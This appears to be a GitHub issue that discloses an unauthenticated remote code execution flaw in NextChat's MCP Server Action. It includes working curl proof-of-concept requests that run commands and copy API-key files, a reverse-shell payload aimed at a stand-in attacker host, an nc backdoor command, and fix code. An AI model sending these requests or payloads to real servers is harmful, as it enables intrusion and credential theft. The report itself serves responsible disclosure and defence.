ChatGPTNextWeb / ChatGPTNextWeb/NextChat

Unauthenticated Remote Code Execution

Open
#6,757 1 comment 2 reactions 0 assignees View on GitHub
Dominant language
TypeScript
Stars
88.8k
Forks
59.1k
PR merge metrics
No merged PRs in 30d

Description

# CVE Report: Unauthenticated Remote Code Execution via MCP Server Action in NextChat

## Executive Summary

A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in NextChat (ChatGPT-Next-Web) version 2.16.1. The `addMcpServer` function in `app/mcp/actions.ts` is exposed as a Next.js Server Action without any authentication, authorization, or feature-flag gate. An unauthenticated remote attacker can send a single HTTP POST request to the application root with an attacker-controlled `command` and `args` payload, causing the server to spawn an arbitrary child process. This grants the attacker full operating system command execution as the server process user, enabling complete server compromise, exfiltration of all API keys and secrets, file system access, and lateral network movement.

The Server Action identifier is embedded in the publicly-served client-side JavaScript bundle, making discovery trivial. No authentication, access code, API key, or user interaction is required. The vulnerability functions regardless of whether the `ENABLE_MCP` environment variable is set.

---

## Product Information

| Field | Value |
|---------------------|------------------------------------------------------------|
| **Product** | NextChat (ChatGPT-Next-Web) |
| **Vendor** | ChatGPTNextWeb |
| **Version Tested** | 2.16.1 |
| **Repository** | https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web |
| **Component** | `app/mcp/actions.ts` -- `addMcpServer` Server Action |
| **Language** | TypeScript (Next.js 14 App Router) |
| **Build Mode** | Standalone (`next build` with `BUILD_MODE=standalone`) |

---

## Vulnerability Classification

| Field | Value |
|------------------------|-----------------------------------------------------------------------|
| **Vulnerability Type** | Unauthenticated Remote Code Execution (RCE) |
| **CWE-94** | Improper Control of Generation of Code ('Code Injection') |
| **CWE-306** | Missing Authentication for Critical Function |
| **CWE-78** | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| **Attack Vector** | Network (single HTTP POST request) |
| **Authentication** | None required |
| **User Interaction** | None required |

---

## CVSS 3.1 Score

**Score: 9.8 (CRITICAL)**

**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

| Metric | Value | Justification |
|---------------------------|-----------|--------------------------------------------------------------------------------------------------------|
| **Attack Vector (AV)** | Network | Exploitable via a single HTTP POST request from any network location |
| **Attack Complexity (AC)**| Low | Action ID is in the public client JavaScript bundle; no race conditions or special setup required |
| **Privileges Required (PR)** | None | Zero authentication -- no access code, no API key, no session, no cookie |
| **User Interaction (UI)** | None | Fully automated; no victim action required |
| **Scope (S)** | Unchanged | Exploitation impacts the vulnerable server component directly |
| **Confidentiality (C)** | High | Full read access to file system and environment variables (API keys, secrets) |
| **Integrity (I)** | High | Full write access to file system; arbitrary command execution; config persistence on disk |
| **Availability (A)** | High | Ability to terminate processes, consume resources, or destroy data on the server |

---

## Affected Versions

| Version | Status | Notes |
|-----------|--------------|----------------------------------------------------------------|
| 2.16.1 | Vulnerable | Confirmed via live reproduction |
| <= 2.16.x | Likely Vulnerable | Any version shipping the MCP Server Action module |
| Export/Static builds | Not Affected | Server Actions are disabled in static export mode |

**Affected deployment modes:**
- Standalone mode (`yarn build` + `node server.js`) -- **vulnerable**
- Docker deployments -- **vulnerable**
- Vercel deployments -- **vulnerable** (Server Actions are supported)
- Static export mode (`yarn export`) -- **not affected** (Server Actions are not available)

---

## Detailed Description

### Overview

NextChat integrates a Model Context Protocol (MCP) subsystem that allows the application to manage external tool servers. The MCP management functions are implemented in `app/mcp/actions.ts`, which is marked with the `"use server"` directive on line 1. In the Next.js 14 App Router, this directive causes **every exported async function** in the file to be registered as a Server Action. Server Actions are callable via HTTP POST requests to the application root (`/`) by including a `Next-Action` header containing the action's unique identifier (a SHA-1 hash).

The critical function `addMcpServer` (line 164) accepts two parameters from the caller:

1. `clientId` (string) -- an arbitrary identifier for the MCP server
2. `config` (ServerConfig) -- an object containing `command`, `args`, optional `env`, and `status`

This function:
- Writes the attacker-controlled configuration to `app/mcp/mcp_config.json` on disk
- Calls `initializeSingleClient()`, which calls `createClient()` in `app/mcp/client.ts`
- `createClient()` instantiates a `StdioClientTransport` that **spawns a child process** using the attacker-supplied `command` and `args`
- The spawned process **inherits the complete `process.env`** of the server, including all API keys

### Authentication Gap

The `addMcpServer` function contains **zero** authentication or authorization logic:

- No call to `auth()` or any session validation
- No access code verification
- No API key check
- No `isMcpEnabled()` guard -- the function executes regardless of whether `ENABLE_MCP` is set to `"true"` in the environment

While a separate `isMcpEnabled()` function exists in the same file (line 377), it is **never called** by `addMcpServer` or any of the other MCP Server Action functions.

### Action ID Discoverability

The Server Action identifiers are deterministic SHA-1 hashes embedded in the compiled client-side JavaScript bundle. They are publicly accessible at paths like `/_next/static/chunks/app/page.js` or within `.next/server/app/page.js`. The confirmed action IDs for this build are:

| Function | Action ID (SHA-1) |
|-------------------------|--------------------------------------------------|
| `addMcpServer` | `bf121c1ecf0d4134efe108324db2a952038b6c83` |
| `executeMcpAction` | `61792905af2dc98e069a058f6608b59f66d467b0` |
| `getMcpConfigFromFile` | `92c449a0851b2c5c032d6ed485576cd1cd2c5052` |
| `removeMcpServer` | `d108b7e5cd23f56259abd2ebaefa22ecc13dc9f8` |
| `initializeMcpSystem` | `df2cfc64f3d96ca7038f054064b5dd7ba33b622d` |
| `restartAllClients` | `13b9d4f096aa1e1c9e6acc99c800791195530ffc` |

---

## Root Cause Analysis

### Vulnerable File: `app/mcp/actions.ts`

The `"use server"` directive on line 1 exposes all exported async functions as Server Actions:

```typescript
"use server"; // Line 1 -- exposes ALL exported async functions as HTTP-callable Server Actions
import {
createClient,
executeRequest,
listTools,
removeClient,
} from "./client";
// ... imports omitted for brevity

const CONFIG_PATH = path.join(process.cwd(), "app/mcp/mcp_config.json");
const clientsMap = new Map();
```

### Vulnerable Function: `addMcpServer` (line 164)

```typescript
// 添加服务器
export async function addMcpServer(clientId: string, config: ServerConfig) {
// NO AUTHENTICATION CHECK
// NO isMcpEnabled() CHECK
try {
const currentConfig = await getMcpConfigFromFile();
const isNewServer = !(clientId in currentConfig.mcpServers);

// 如果是新服务器,设置默认状态为 active
if (isNewServer && !config.status) {
config.status = "active";
}

const newConfig = {
...currentConfig,
mcpServers: {
...currentConfig.mcpServers,
[clientId]: config, // Attacker-controlled config written to disk
},
};
await updateMcpConfig(newConfig); // Persists to mcp_config.json

// 只有新服务器或状态为 active 的服务器才初始化
if (isNewServer || config.status === "active") {
await initializeSingleClient(clientId, config); // Spawns attacker-controlled process
}

return newConfig;
} catch (error) {
logger.error(`Failed to add server [${clientId}]: ${error}`);
throw error;
}
}
```

### Process Spawning: `app/mcp/client.ts` -- `createClient` (line 9)

```typescript
export async function createClient(
id: string,
config: ServerConfig,
): Promise {
logger.info(`Creating client for ${id}...`);

const transport = new StdioClientTransport({
command: config.command, // ATTACKER-CONTROLLED command
args: config.args, // ATTACKER-CONTROLLED arguments
env: {
...Object.fromEntries(
Object.entries(process.env) // FULL server process.env inherited
.filter(([_, v]) => v !== undefined)
.map(([k, v]) => [k, v as string]),
),
...(config.env || {}), // Attacker can also inject env vars
},
});

const client = new Client(
{
name: `nextchat-mcp-client-${id}`,
version: "1.0.0",
},
{
capabilities: {},
},
);
await client.connect(transport); // Spawns the child process
return client;
}
```

### Type Definition: `ServerConfig` (`app/mcp/types.ts`, line 113)

```typescript
export interface ServerConfig {
command: string; // OS command to execute
args: string[]; // Arguments passed to the command
env?: Record; // Optional environment variables
status?: "active" | "paused" | "error";
}
```

### Unused Guard Function: `isMcpEnabled` (line 377)

```typescript
export async function isMcpEnabled() {
try {
const serverConfig = getServerSideConfig();
return serverConfig.enableMcp; // reads ENABLE_MCP env var
} catch (error) {
logger.error(`Failed to check MCP status: ${error}`);
return false;
}
}
```

This function exists but is **never invoked** as a guard by any MCP action handler.

---

## Source-to-Sink Data Flow

```
ATTACKER (unauthenticated, remote)
|
| HTTP POST /
| Header: Next-Action: bf121c1ecf0d4134efe108324db2a952038b6c83
| Body: ["clientId", {"command":"/bin/sh","args":["-c",""],"status":"active"}]
|
v
[Next.js Server Action Router]
| Deserializes multipart form data
| Looks up action by ID -> addMcpServer
| No middleware, no auth check
|
v
addMcpServer(clientId, config) <-- app/mcp/actions.ts:164
| 1. Writes config to mcp_config.json (persistence)
| 2. Calls initializeSingleClient(clientId, config)
|
v
initializeSingleClient(clientId, config) <-- app/mcp/actions.ts:102
| Calls createClient(clientId, serverConfig)
|
v
createClient(id, config) <-- app/mcp/client.ts:9
| new StdioClientTransport({
| command: config.command, <-- ATTACKER-CONTROLLED
| args: config.args, <-- ATTACKER-CONTROLLED
| env: { ...process.env, ...config.env } <-- FULL ENV + ATTACKER ENV
| })
|
v
[StdioClientTransport.connect()]
| Calls child_process.spawn(command, args, { env })
|
v
[ARBITRARY OS COMMAND EXECUTION] <-- SINK: Full RCE as server user
| - Inherits all API keys from process.env
| - Full filesystem read/write
| - Network access
| - Process control
```

---

## Reproduction Steps

**Environment:** NextChat v2.16.1, built in standalone mode, running on `localhost:3003`.

### Prerequisites

```bash
# Build and start NextChat
cd NextChat-2.16.1
yarn install && yarn build
PORT=3003 node server.js
```

### PoC 1: Arbitrary File Creation (Confirm RCE)

This proof-of-concept creates a file on the server's filesystem, confirming that arbitrary OS commands are executed.

**Request:**

```bash
curl -X POST http://localhost:3003/ \
-H "Accept: text/x-component" \
-H "Next-Action: bf121c1ecf0d4134efe108324db2a952038b6c83" \
-H "Content-Type: multipart/form-data; boundary=----boundary" \
--data-raw $'------boundary\r\nContent-Disposition: form-data; name="1_$ACTION_ID_bf121c1ecf0d4134efe108324db2a952038b6c83"\r\n\r\n\r\n------boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["rce-proof",{"command":"touch","args":["/tmp/nextchat-rce-proof"],"status":"active"}]\r\n------boundary--'
```

**Server Response (HTTP 200):**

```
0:["$@1",["development",null]]
1:{"mcpServers":{"rce-proof":{"command":"touch","args":["/tmp/nextchat-rce-proof"],"status":"active"}}}
```

**Verification:**

```bash
$ ls -la /tmp/nextchat-rce-proof
-rw-r--r-- 1 yubao wheel 0 Apr 17 13:50 /tmp/nextchat-rce-proof
```

The file was created on the server, confirming command execution.

---

### PoC 2: Shell Command Execution and Secret Exfiltration

This proof-of-concept executes a shell via `/bin/sh -c` to run `whoami` and exfiltrate the `.env.local` file containing API keys.

**Request:**

```bash
curl -X POST http://localhost:3003/ \
-H "Accept: text/x-component" \
-H "Next-Action: bf121c1ecf0d4134efe108324db2a952038b6c83" \
-H "Content-Type: multipart/form-data; boundary=----boundary" \
--data-raw $'------boundary\r\nContent-Disposition: form-data; name="1_$ACTION_ID_bf121c1ecf0d4134efe108324db2a952038b6c83"\r\n\r\n\r\n------boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["rce-exfil",{"command":"/bin/sh","args":["-c","whoami > /tmp/rce-whoami && cat .env.local > /tmp/rce-env"],"status":"active"}]\r\n------boundary--'
```

**Verification:**

```bash
$ cat /tmp/rce-whoami
yubao

$ cat /tmp/rce-env
OPENAI_API_KEY=sk-placeholder
CODE=test123
```

The attacker successfully:
1. Determined the server process user (`yubao`)
2. Exfiltrated the `.env.local` file containing the `OPENAI_API_KEY` and access `CODE`

---

### PoC 3: Server-Side Confirmation of Config Persistence

The response to PoC 1 confirms that the attacker-controlled configuration was persisted to disk at `app/mcp/mcp_config.json`:

**Server Response:**

```
0:["$@1",["development",null]]
1:{"mcpServers":{"rce-proof":{"command":"touch","args":["/tmp/nextchat-rce-proof"],"status":"active"}}}
```

**Server Logs:**

```
[MCP Actions] Initializing client [rce-test]...
[NextChat MCP Client] Creating client for rce-test...
```

**Persisted Config (`app/mcp/mcp_config.json` after exploitation):**

```json
{
"mcpServers": {
"rce-proof": {
"command": "touch",
"args": ["/tmp/nextchat-rce-proof"],
"status": "active"
}
}
}
```

This persistence means the malicious "MCP server" entry survives application restarts and will be re-executed if `initializeMcpSystem` or `restartAllClients` is called.

---

## Impact Assessment

### Immediate Impact

| Impact Category | Severity | Description |
|------------------------|----------|----------------------------------------------------------------------------|
| **Remote Code Execution** | Critical | Full OS command execution as the server process user |
| **Secret Exfiltration** | Critical | All environment variables including `OPENAI_API_KEY`, `AZURE_API_KEY`, `GOOGLE_API_KEY`, `ANTHROPIC_API_KEY`, `STABILITY_API_KEY`, `CODE` (access password) are accessible |
| **File System Access** | Critical | Read/write any file accessible to the server process |
| **Persistence** | High | Malicious config is written to disk and survives restarts |
| **Lateral Movement** | High | Attacker can pivot to internal network services from the server |

### Attack Scenarios

1. **API Key Theft:** An attacker exfiltrates all LLM provider API keys (OpenAI, Azure, Google, Anthropic, Baidu, ByteDance, Alibaba, Moonshot, etc.) from environment variables, incurring potentially unlimited financial charges against the victim's accounts.

2. **Reverse Shell:** An attacker establishes a persistent reverse shell:
```json
{"command":"/bin/sh","args":["-c","bash -i >& /dev/tcp/attacker.com/4444 0>&1"]}
```

3. **Cryptocurrency Mining:** An attacker deploys a cryptominer on the server.

4. **Data Destruction:** An attacker deletes application data, databases, or modifies the application to serve malicious content.

5. **Supply Chain Attack:** An attacker modifies the NextChat application code to inject backdoors or phishing pages served to all users.

6. **Persistent Backdoor:** The malicious MCP server entry persists in `mcp_config.json`. If the entry uses a command like `nc -l -p 9999 -e /bin/sh`, it will re-establish a backdoor every time the MCP system reinitializes.

---

## Remediation Recommendations

### 1. Add Authentication to All MCP Server Actions (Critical -- Immediate)

Every exported function in `app/mcp/actions.ts` must verify that the caller is authenticated and authorized:

```typescript
export async function addMcpServer(clientId: string, config: ServerConfig) {
// Verify authentication
const serverConfig = getServerSideConfig();
if (!serverConfig.enableMcp) {
throw new Error("MCP is not enabled");
}

// Verify access code or API key
// (implement appropriate auth check for your deployment)

// ... existing logic
}
```

### 2. Gate All MCP Actions Behind `isMcpEnabled()` (Critical -- Immediate)

The existing `isMcpEnabled()` function must be called at the top of every MCP action handler. Currently, it is defined but never invoked as a guard.

### 3. Implement a Command Allowlist (High -- Short Term)

Restrict the `command` field to a fixed set of safe executables:

```typescript
const ALLOWED_COMMANDS = new Set(["npx", "node", "python", "python3", "uvx"]);

function validateServerConfig(config: ServerConfig): void {
if (!ALLOWED_COMMANDS.has(config.command)) {
throw new Error(`Command '${config.command}' is not in the allowlist`);
}
// Also validate args to prevent shell metacharacter injection
}
```

### 4. Do Not Inherit Full `process.env` (High -- Short Term)

The `createClient` function in `app/mcp/client.ts` passes the entire `process.env` to spawned child processes. This should be replaced with a minimal, explicitly defined set of environment variables:

```typescript
const SAFE_ENV_KEYS = new Set(["PATH", "HOME", "NODE_ENV", "LANG"]);

const transport = new StdioClientTransport({
command: config.command,
args: config.args,
env: {
...Object.fromEntries(
Object.entries(process.env)
.filter(([k, v]) => SAFE_ENV_KEYS.has(k) && v !== undefined)
.map(([k, v]) => [k, v as string]),
),
...(config.env || {}),
},
});
```

### 5. Use Explicit Route with Middleware (Medium -- Long Term)

Consider moving MCP management out of Server Actions and into an explicit API route (`app/api/mcp/route.ts`) with proper middleware for authentication, rate limiting, and input validation. Server Actions are designed for form submissions within an authenticated UI, not for security-critical administrative operations.

### 6. Remove Action IDs from Client Bundle (Medium -- Long Term)

MCP management actions should never be referenced in client-side code. If they must remain as Server Actions, ensure they are only imported in authenticated, server-rendered admin pages, not in the publicly accessible main page.

---

## References

| Reference | URL |
|-----------|-----|
| NextChat Repository | https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web |
| Next.js Server Actions Documentation | https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations |
| CWE-94: Improper Control of Generation of Code | https://cwe.mitre.org/data/definitions/94.html |
| CWE-306: Missing Authentication for Critical Function | https://cwe.mitre.org/data/definitions/306.html |
| CWE-78: OS Command Injection | https://cwe.mitre.org/data/definitions/78.html |
| CVSS 3.1 Calculator | https://www.first.org/cvss/calculator/3.1 |
| Model Context Protocol SDK | https://github.com/modelcontextprotocol/typescript-sdk |
| StdioClientTransport (spawns child process) | https://github.com/modelcontextprotocol/typescript-sdk/blob/main/src/client/stdio.ts |

---

## Appendix: Environment Variables Exposed via `process.env` Inheritance

The following sensitive environment variables are declared in `app/config/server.ts` and are inherited by attacker-spawned child processes:

| Variable | Description |
|------------------------|--------------------------------------|
| `OPENAI_API_KEY` | OpenAI API key |
| `CODE` | NextChat access password |
| `AZURE_API_KEY` | Azure OpenAI API key |
| `GOOGLE_API_KEY` | Google AI API key |
| `ANTHROPIC_API_KEY` | Anthropic API key |
| `STABILITY_API_KEY` | Stability AI API key |
| `BAIDU_API_KEY` | Baidu AI API key |
| `BYTEDANCE_API_KEY` | ByteDance API key |
| `ALIBABA_API_KEY` | Alibaba Cloud AI API key |
| `MOONSHOT_API_KEY` | Moonshot AI API key |
| `XAI_API_KEY` | xAI API key |
| `CHATGLM_API_KEY` | ChatGLM API key |
| `DEEPSEEK_API_KEY` | DeepSeek API key |
| `PROXY_URL` | Proxy URL (may reveal internal infra)|

All of these are accessible to any child process spawned by `StdioClientTransport` through the full `process.env` inheritance in `app/mcp/client.ts`.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.